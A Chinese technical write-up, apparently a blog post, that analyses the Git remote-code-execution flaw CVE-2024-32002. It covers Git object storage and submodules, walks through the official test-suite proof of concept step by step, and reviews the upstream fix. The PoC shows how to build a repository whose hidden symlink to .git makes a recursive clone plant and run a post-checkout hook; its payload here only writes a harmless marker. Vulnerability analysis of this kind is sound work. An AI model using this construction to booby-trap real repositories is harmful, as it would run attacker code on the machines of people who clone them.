GITRCE-CVE-2024-32002分析

前阵子出现的一个神奇的洞,有同事问起,就进一步研究了一下,发现还挺有意思的,这里遂作记录。

Git 也能 RCE – CVE-2024-32002

漏洞描述

官方描述为

Git is a revision control system. Prior to versions 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2, and 2.39.4, repositories with submodules can be crafted in a way that exploits a bug in Git whereby it can be fooled into writing files not into the submodule’s worktree but into a .git/ directory. This allows writing a hook that will be executed while the clone operation is still running, giving the user no opportunity to inspect the code that is being executed. If symbolic link support is disabled in Git (e.g. via git config --global core.symlinks false), the described attack won’t work. As always, it is best to avoid cloning repositories from untrusted sources.

从描述中,可以摘取几个关键内容

  • 该漏洞由符号链接引发
  • 漏洞涉及submodule
  • 本该涉及submodule的操作最后指向了.git目录,最终导致了漏洞的发生
  • git clone过程中将会引发hook,导致恶意利用发生,因此用户可能不能及时的看到恶意代码的行为
  • git hook将会参与整个漏洞的利用链

总结一下,漏洞发生在git clone阶段,并且操作对应的submodule模块,因为漏洞的原因,未将数据写入对应目录,而是将数据写入.git目录,并且最终触发了一个hook脚本,导致了漏洞的发生。

git基础补习

如果想要看懂这个洞,需要对git的目录结构要有基本的认知。如果对这一部分知识了解,可以直接跳到漏洞成因

当我们执行git clone操作的时候,实际上执行了以下几个操作

  1. 创建指定的仓库名字mkdir -p <path>
  2. 初始化git仓库git init
  3. 添加远程仓库git remote add origin <url>
  4. 下载对象引用等git fetch origin
  5. 创建远程跟踪分支git branch --track <branch> origin/<branch>
  6. 检出默认分支git checkout <branch>

实际上,代码文件在第4步就会被下载下来,并且存放在.git文件中,之后由对应的branchcheckout操作来进行编辑组合。举个例子来说,假设我们现在有一个空仓库叫做main-repo,此时我们在其中创建文件main.txtmain.txt中包含内容

1
main testintg

在未commit的时候,此文件结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
├── .git
│   ├── HEAD
│   ├── config
│   ├── description
│   ├── hooks // 省略这其中的文件
│   ├── info
│   │   └── exclude
│   ├── objects
│   │   ├── info
│   │   └── pack
│   └── refs
│   ├── heads
│   └── tags
└── main.txt

此时,如果我们将这个修改commit之后,目录结构会变成如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
.
├── .git
│   ├── COMMIT_EDITMSG
│   ├── HEAD
│   ├── config
│   ├── description
│   ├── hooks // 省略其中的内容
│   ├── index
│   ├── info
│   │   └── exclude
│   ├── logs
│   │   ├── HEAD
│   │   └── refs
│   │   └── heads
│   │   └── master
│   ├── objects
│   │   ├── 0c
│   │   │   └── 202734567eabc38e3465a1326a7074264e62db
│   │   ├── 4b
│   │   │   └── 825dc642cb6eb9a060e54bf8d69288fbee4904
│   │   ├── 68
│   │   │   └── c0443c8b532833b48a835215ff1f2dac33af2a
│   │   ├── af
│   │   │   └── 21301bdaa5b13a83f26ed8a7eee5f60f06c8d4
│   │   ├── info
│   │   └── pack
│   └── refs
│   ├── heads
│   │   └── master
│   └── tags
└── main.txt

此时我们的commit 如下

1
2
3
4
5
commit 68c0443c8b532833b48a835215ff1f2dac33af2a (HEAD -> master)
Author:
Date: Sat May 25 10:19:03 2024 +0800

Add main.txt

可以看到,commit正对应着目录68,而文件名正好就是68后面的一串hash,可以看到这些目录和log存在一定的对应关系,这些关系是什么呢?这就要牵扯到git的本质

git 对象管理

git本质上是一个类文件管理系统,其使用一种称为对象模型的方式来存储数据。主要的 Git 对象类型包括:

  • Blob(Binary Large Object):存储文件的内容。
  • Tree:存储目录结构和文件名到 blob 引用的映射。
  • Commit:存储指向 tree 对象的引用,以及提交信息(如作者、日期、父提交等)。

使用指令

1
git cat-file -p 目录名+文件名

即可查看对应的文件内容(这里文件名和git默认规则一样,不需要敲全)
我们检查之前提到的68目录下的文件,可以看到内容为

1
2
3
4
5
6
git cat-file -p 68c0443
tree 0c202734567eabc38e3465a1326a7074264e62db
author 1716603543 +0800
committer 1716603543 +0800

Add main.txt

这种文件就被称之为commit。然后可以看到其指向了一个叫做tree的对象,正好也对应了一个目录和文件,尝试访问可以得到如下结果

1
2
git cat-file -p 0c20
100644 blob af21301bdaa5b13a83f26ed8a7eee5f60f06c8d4 main.txt

这个就是tree,表示对一个blob的引用,我们最后查看对应的blob

1
2
git cat-file -p af21
main testintgl

正是我们文件的内容。git正是使用了这种层级的对象管理机制,将所有的内容关联起来。

submodule

有些时候,我们可能要再一个仓库中引用另一个仓库的内容,这个库可能是一个基础库,会在多个库中被使用,例如压缩,日志打印等等,为了能够正确处理上述的场景,在git中,支持将另一个仓库作为submodule引入到当前库中。

在讨论子模块之前,我们需要区分为三个概念

  • 子模块的名字,体现在--name参数上,我们这里写作<name>
  • 子模块的路径,这个为倒数第二个参数,这里写作<submodule_repo>
  • 子模块在主仓库中的名字,这里写作<submodule_path>

之后我们会反复使用这三个概念来描述不同的术语。

例如我们有另一个库,叫做submodule-repo,里面有一个文件叫做submodule.txt,内容如下

1
2
3
4
5
6
7
8
9
10
cat .\submodule.txt
"This is the submodule"

git log
commit fb0721550dd927a7d312d8bdcf14b98da9916c46 (HEAD -> master)
Author:
Date: Fri May 24 19:52:19 2024 +0800

Initial commit in submodule

此时文件结构如下

1
2
3
4
5
6
7
8
9
.
|
+-main-repo
| |
| +-main.txt
|
+-submodule-repo
|
+- submodule.txt

此时,假设我们想将其引入到我们主要仓库中,我们可以这样做

  1. 将其作为一个叫做submodule的库,添加到当前的库中
1
git submodule add ../submodule-repo submodule
  1. 提交修改
1
git commit -m "Add submodule"

那么此时,我们上面提及的三个参数分别为

  • name:submodule
  • submodule_repo:…/submodule-repo
  • submodule_path: submodule

此时我们再次检查main-repo的目录,结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
.
├── .git
│   ├── COMMIT_EDITMSG
│   ├── HEAD
│   ├── config
│   ├── description
│   ├── hooks // 隐去部分内容
│   ├── index
│   ├── info
│   │   └── exclude
│   ├── logs
│   │   ├── HEAD
│   │   └── refs
│   │   └── heads
│   │   └── master
│   ├── modules
│   │   └── submodule
│   │   ├── HEAD
│   │   ├── config
│   │   ├── description
│   │   ├── hooks // 隐去部分内容
│   │   ├── index
│   │   ├── info
│   │   │   └── exclude
│   │   ├── logs
│   │   │   ├── HEAD
│   │   │   └── refs
│   │   │   ├── heads
│   │   │   │   └── master
│   │   │   └── remotes
│   │   │   └── origin
│   │   │   └── HEAD
│   │   ├── objects
│   │   │   ├── 00
│   │   │   │   └── 7744580def9ad1f0a8af7b6e41817d3c0e46a1
│   │   │   ├── c0
│   │   │   │   └── 26d12e4c219329af50ca23d0f4d86f6f21d09e
│   │   │   ├── fb
│   │   │   │   └── 0721550dd927a7d312d8bdcf14b98da9916c46
│   │   │   ├── info
│   │   │   └── pack
│   │   ├── packed-refs
│   │   └── refs
│   │   ├── heads
│   │   │   └── master
│   │   ├── remotes
│   │   │   └── origin
│   │   │   └── HEAD
│   │   └── tags
│   ├── objects
│   │   ├── 0c
│   │   │   └── 202734567eabc38e3465a1326a7074264e62db
│   │   ├── 4b
│   │   │   └── 825dc642cb6eb9a060e54bf8d69288fbee4904
│   │   ├── 4d
│   │   │   └── 05ef05a10102a0e12b516af4fd978d40f05eb0
│   │   ├── 68
│   │   │   └── c0443c8b532833b48a835215ff1f2dac33af2a
│   │   ├── af
│   │   │   └── 21301bdaa5b13a83f26ed8a7eee5f60f06c8d4
│   │   ├── info
│   │   └── pack
│   └── refs
│   ├── heads
│   │   └── master
│   └── tags
├── .gitmodules
├── main.txt
└── submodule
├── .git
└── submodule.txt

可以发现,在main-repo目录中新增了如下内容

  • 根据submodule_path创建的submodule目录,里面包含了submodule-repo的内容,其中这里的.git为符号链接,指向../.git/modules/submodule,也就是<target_repo>/.git/modules/<name>这个路径
  • .gitmodules文件
  • .git目录中新增了modules,里面包含了一个由<name>命名的submodule的目录,如果此处使用了--add name,此时目录名字会被替换成name;这个目录中包含的是submodule-repo.git的全部内容

这里的.gitmodules文件记录了当前submodule的基本情况

1
2
3
[submodule "submodule"]
path = submodule
url = ../submodule-repo
  • 引号部分记录的正是<name>``submodule_name,如果我们此处加了参数--add name,那么引号部分将会被替换成name
  • path 中记录了模块在这个仓库中的路径<submodule_path>,也就是我们最后跟着的参数,这个是【submodule实际的存放路径,以及检出后存放的路径】
  • url 中则记录了对应的路径<submodule_repo>,是倒数第二个参数

同时我们也注意到,此时git会将子目录中的.git放到当前目录的.git中,存放规则为

1
.git/modules/<name>

<name>的命名支持为多级路径,例如如果命名为path1/path2,则此时存放路径就会变为

1
.git/modules/path1/path2

整个submodule的clone过程,根据逆向分为两个部分

  1. 尝试将对应仓库的.git单独clone下来,但是不进行checkout,根据分析代码,其指令大致如下
1
git clone --no-checkout --progress --separate-git-dir <target_repo>/.git/modules/submodule --no-single-branch -- <submodule_path> <target_repo>/<name>
  1. 完成clone之后,最终会根据指定的branch,将内容进行checkout,最终释放对应的文件内容

hooks

之前的展示中特意跳过了hooks这个目录,因为这个目录中有很多脚本的样例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
+── hooks
   ├── applypatch-msg.sample
   ├── commit-msg.sample
   ├── fsmonitor-watchman.sample
   ├── post-update.sample
   ├── pre-applypatch.sample
   ├── pre-commit.sample
   ├── pre-merge-commit.sample
   ├── pre-push.sample
   ├── pre-rebase.sample
   ├── pre-receive.sample
   ├── prepare-commit-msg.sample
   ├── push-to-checkout.sample
   └── update.sample

这些脚本会在git的某个操作阶段执行。例如pre-push这个名字的脚本会在git执行push指令前执行,commit-msg则是在commit阶段会执行。我们之后的攻击中会涉及一个叫做post-checkout的脚本,这个脚本会在checkout操作后执行。

漏洞成因

漏洞本质上是由于git在进行clone的时候,在repo整体拷贝过程中,由于Windows或者MacOS操作系统大小写不敏感的特点,主repo中用于存放子模块的目录另一个指向.git目录的同名符号链接覆盖,导致往子模块写入数据的时候,全部都写入了.git目录中,最后配合hook脚本完成隐蔽的攻击。

漏洞复现的时候,需要进行如下的配置才能生效

1
2
3
4
5
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main

并且,如果想尝试在Windows下复现,git需要获得管理员权限才能进行符号链接的创建。
在官方的仓库中,给出了针对这个漏洞的poc用作测试用例,我们可以从检测脚本中一窥究竟。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
test_expect_success CASE_INSENSITIVE_FS,SYMLINKS \
'submodule paths must not follow symlinks' '
# This is only needed because we want to run this in a self-contained
# test without having to spin up an HTTP server; However, it would not
# be needed in a real-world scenario where the submodule is simply
# hosted on a public site.
test_config_global protocol.file.allow always &&
# Make sure that Git tries to use symlinks on Windows
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
git init hook &&
(
cd hook &&
mkdir -p y/hooks &&
write_script y/hooks/post-checkout <<-EOF &&
echo HOOK-RUN >&2
echo hook-run >"$tell_tale_path"
EOF
git add y/hooks/post-checkout &&
test_tick &&
git commit -m post-checkout
) &&
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
cd captain &&
git submodule add --name x/y "$hook_repo_path" A/modules/x &&
test_tick &&
git commit -m add-submodule &&
printf .git >dotgit.txt &&
git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
git update-index --index-info <index.info &&
test_tick &&
git commit -m add-symlink
) &&
test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
'

脚本的前半段添加一个叫做hook的仓库,这个仓库添加完以后目录结构如下

1
2
3
4
.
└── y
└── hooks
└── post-checkout

这里会注意到一个很有趣的现象,这个路径有意的在模仿.git的目录结构,尤其是hooks/post-checkout,当然,由于这个脚本本身并未放在本仓库的.git目录中,当这个仓库被clone的时候脚本并不会被触发

后半段的部分比较精妙,我们来仔细讲解一下。首先创建了一个叫做captain的仓库,然后调用了这个指令

1
git submodule add --name x/y "$hook_repo_path" A/modules/x 

我们根据之前的做法,确认三个参数对应的值

  • <name>:x/y
  • <submodule_repo>:"$hook_repo_path"
  • <submodule_path>:A/modules/x

当调用这个指令之后,git会做如下的事情

  • captain目录中创建一个叫做A/modules/x的子目录,这个目录将会存放来自"$hook_repo_path"(也就是前面添加的hook仓库)中的所有内容
  • 上述步骤中,拷贝到captain仓库的hook仓库中的.git文件被替换成符号链接,指向 ../../../.git/modules/x/y,也就是<target_repo>/.git/modules/<name>的路径,这里会存放真正的hook.git目录
  • captain.git目录中的modules目录下,创建x/y目录,并且往其中拷贝所有的hooks/.git的内容
  • 创建.gitmodule目录

此时,captain中比较重要的文件结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
.
├── .git
│   ├── HEAD
│   ├── config
│   ├── description
│   ├── index
│   ├── info
│   │   └── exclude
│   ├── modules
│   │   └── x // 这里添加了路径x/y
│   │   └── y
│   │   └── HEAD

├── .gitmodules
└── A // 这里添加了A/modules/x
└── modules
└── x
├── .git
└── y // 目录里面自带y目录
└── hooks
└── post-checkout

让我们把几个关键目录罗列以下

  1. 实际存放了hook仓库中.git的路径
1
.git/modules/x/y
  1. 存放了被拷贝过来的hook仓库内容的路径
1
A/modules/x
  1. captain的视角上看,子模块hook仓库中存放post-checkout的路径
1
A/modules/x/y/hooks/post-checkout
  1. captain的视角上看,子模块hook仓库.git中hooks的路径为
1
.git/modules/x/y/hooks/

仔细看会发现,3和4的路径几乎只相差了A.git部分,这就是这个漏洞攻击的一个前提。
在完成了布置之后,脚本会执行如下的逻辑

1
2
3
printf .git >dotgit.txt &&
git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&

这里利用了git的比较底层的指令,通过这个操作,能够将a作为一个符号链接文件添加到 Git 索引中,符号链接指向 .git。这个操作会存放在git的索引中,而不会直接在目录中存在。实际上,这样操作完之后,目录结构如下

1
2
3
4
5
6
7
8
9
10
.
├── A
│   └── modules
│   └── x
│   └── y
│   └── hooks
│   └── post-checkout
├── dot-git.hash
├── dotgit.txt
└── index.info

可以发现,这个a并不存在,但是在git的对象管理中,这个a作为一个对象存放了下来

1
2
3
4
5
6
7
8
9
10
11
12
git cat-file -p 76d2a0138b
tree ed6455916722fcf6cb5e03bf2602379f6237695f
parent 2e5996a4ad5795e526a53a68bfa24ad11674ccbf
author 1716626132 +0800
committer 1716626132 +0800

add-symlink

git cat-file -p ed64559167
100644 blob ccf40c309e227b3ea61e3d3138af32774d5f994a .gitmodules
040000 tree 41eaba36bec8946d145682993e3efc13877161fa A
120000 blob 191381ee74dec49c89f99a62d055cb1058ba0de9 a

这就是这个攻击的隐蔽之处:整个攻击过程中,符号链接文件始终藏在.git的对象索引中,所以粗略一看是无法找到有问题的部分的。但是,当我们在对captain仓库进行clone的时候,这个符号链接a就会被释放出来。

最后执行

1
git clone --recursive captain hooked 

就能实现最终的攻击。

此时,我们可以模拟以下整个攻击流程:

当我们在进行clone的时候,程序首先尝试将captain目录拷贝下来,执行ed64559167的操作,此时根据顺序,首先会创建这样的目录(tree)

1
2
3
4
5
6
7
8
9
10
.
├── A
│  
│  
│  
│  
│  
├── dot-git.hash
├── dotgit.txt
└── index.info

然后,git会紧接着创建符号链接a(Blob),此时由于大小写不敏感的特点,此时目录会变成

1
2
3
4
5
6
7
8
9
10
.
├── a -> .git
│  
│  
│  
│  
│  
├── dot-git.hash
├── dotgit.txt
└── index.info

接下来,会尝试对41eaba3中的对象进行释放,整个对象指向的为

1
040000 tree a555b64513d2e0a23bca63e990b793927daafa43    modules

于是就会顺着我们之前A目录指向的内容一点点进行释放,此时的释放路径变为

1
A/modules/x/y/hooks/post-checkout

而由于A此时被a顶替,a指向了.git,所以此时释放的路径改变为

1
.git/modules/x/y/hooks/post-checkout

于是,此时在我们的captain仓库中的.git/modules/x/y/hooks/post-checkout就成为了原本存放在hook目录中的一个脚本。而当完成了clone之后,最终captain目录中的git会尝试将hook的内容进行checkout操作,此操作最终就会诱发对应的post-checkout,导致脚本被执行!

修复策略

从git的官方修复,中,可以看到引入了一个叫做dir_contains_only_dotgit的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static int dir_contains_only_dotgit(const char *path)
{
DIR *dir = opendir(path);
struct dirent *e;
int ret = 1;

if (!dir)
return 0;

e = readdir_skip_dot_and_dotdot(dir);
if (!e)
ret = 0;
else if (strcmp(DEFAULT_GIT_DIR_ENVIRONMENT, e->d_name) || // 如果找到了非.git目录
(e = readdir_skip_dot_and_dotdot(dir))) { // 或者同时还存在另一个文件
error("unexpected item '%s' in '%s'", e->d_name, path);
ret = 0;
}

closedir(dir);
return ret;
}

struct dirent *readdir_skip_dot_and_dotdot(DIR *dirp)
{
struct dirent *e;

while ((e = readdir(dirp)) != NULL) { // 查找所有的目录
if (!is_dot_or_dotdot(e->d_name)) // 如果目录不是.或者..开头,则返回当前的e对象
break;
}
return e;
}

这个函数的作用为保证当前目录中仅包含.git目录这一个文件。之后程序还引入了如下的的修复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static int clone_submodule(const struct module_clone_data *clone_data,
struct string_list *reference)
{

+ if (!file_exists(sm_gitdir)) {
+ if (clone_data->require_init && !stat(clone_data_path, &st) &&
+ !is_empty_dir(clone_data_path))
+ die(_("directory not empty: '%s'"), clone_data_path);


/// ......


+ if (clone_data->require_init && !stat(clone_data_path, &st) &&
+ !dir_contains_only_dotgit(clone_data_path)) {
+ char *dot_git = xstrfmt("%s/.git", clone_data_path);
+ unlink(dot_git);
+ free(dot_git);
+ die(_("directory not empty: '%s'"), clone_data_path);
+ }
}
}

此处的clone_data_path实际上为<target_repo>/<name>
可以看到,在clone_submodule阶段,程序会保证本地路径满足以下条件才会进行clone操作

  • 当进行clone操作前,目的地址为空
  • 完成预备环境准备后(safe_create_leading_directories_const)和submoduleclone(但是不立即检出check-out工作目录中的文件)(run_command(&cp))后,程序检查目标目录中是否仅包含.git文件

此时这里的submodule的clone操作实际上执行的

1
git clone --no-checkout --progress --separate-git-dir <target_repo>/.git/modules/submodule --no-single-branch -- <submodule_path> <target_repo>/<name>

这个指令会将submodule的内容拷贝到根目录,但是不进行检出,也就是说此时 .git 中已经存放了 submodule 的 .git,但是还未发生检出(check-out)动作

实际上,指令执行的时候,会将.git中的内容放置在.git/modules/x/y这个路径下。

而根据我们之前的漏洞分析,clone_data_path,也就是<target_repo>/<name>target_repo/A/modules/x/。如果未漏洞的影响下,此时的路径实际上是

1
/A/modules/x

那么此时就应该仅仅只有目标文件的.git文件。但是如果在漏洞印象下,此时的路径变为了

1
.git/A/modules/x

而显然根据我们前文分析,在这个路径下会有一个叫做y的目录存在,因此能够被检测出来。即便我们在起名阶段进行了绕过,实际上这个攻击的过程中一定会往对应的路劲写入文件,因此仓库一定会影响到指定的目录。所以当前的修复其实是非常合理的。

总结

整个分析下来,感觉这类漏洞最重要的点其实是时机,比如说:

  • git clone 的时候,究竟是先拷贝了.git文件,还是先拷贝了目录中的其他文件?
  • git clone 的时候,是先拷贝的符号链接,还是原始文件?它的依据是什么?
  • post-checkout 是在captain进行checkout的时候执行,还是在hook进行checkout的时候进行的执行?

正是不同时机的巧妙结合,导致了这个漏洞的出现。这类符号链接类的漏洞需要抓住关键,找到最合适的诱发条件,才能最终触发。

参考链接

https://www.zhaohuabing.com/post/2019-01-21-git/